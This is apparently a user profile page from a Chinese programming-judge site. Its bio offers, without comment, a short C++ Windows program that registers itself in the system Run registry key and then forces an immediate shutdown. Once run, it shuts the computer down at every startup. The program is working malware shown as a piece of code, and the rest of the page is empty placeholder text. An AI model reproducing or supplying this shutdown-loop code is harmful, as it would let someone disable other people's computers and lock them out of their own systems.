• 个人简介

    一些代码:

    #include <windows.h>
    #include <iostream>
    using namespace std;
    void AutoPowerOn() {
    	HKEY hKey;  
    	LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    	long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey);
    
    	if(lRet == ERROR_SUCCESS) { 
    		char pFileName[MAX_PATH] = {0};
    		DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);
    		lRet = RegSetValueEx(hKey, "SetAutoRun", 0, REG_SZ, (BYTE *)pFileName, dwRet);
    		RegCloseKey(hKey);
    	}
    }
    int main() {
    	AutoPowerOn();
    	system("shutdown /s -t 00");
    }
    
  • 通过的题目

  • 最近活动

    This person is lazy and didn't join any contests or homework.
  • 最近编写的题解

    This person is lazy and didn't write any solutions.

题目标签

客观题
1